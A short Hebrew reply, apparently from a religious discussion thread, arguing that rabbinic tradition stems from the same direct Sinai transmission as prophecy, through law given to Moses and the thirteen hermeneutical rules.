א. משאלתך משמע שאתה מחלק בין הקשר הישיר היינו נבואה וכד' לבין קשר שאינו ישיר חז"ל וכד' הרי שנינו שמשה קיבל תורה מסיני וגו' שכל התורה כולה נמסרה מרב לתלמיד,א"כ גם קבלת חז"ל מקורה מאותו 'קשר ישיר' וכל ההלכות וההנהגות קבלו או כהללמ"ס או נלמדו ע"י י"ג מידות. א"כ אפוא נמצא שהאבא השאיר מפות וקודים איך לדעת מה רצונו גם כאשר ישמור על הסת"פ במשך 2000 שנות גלות וחושך.
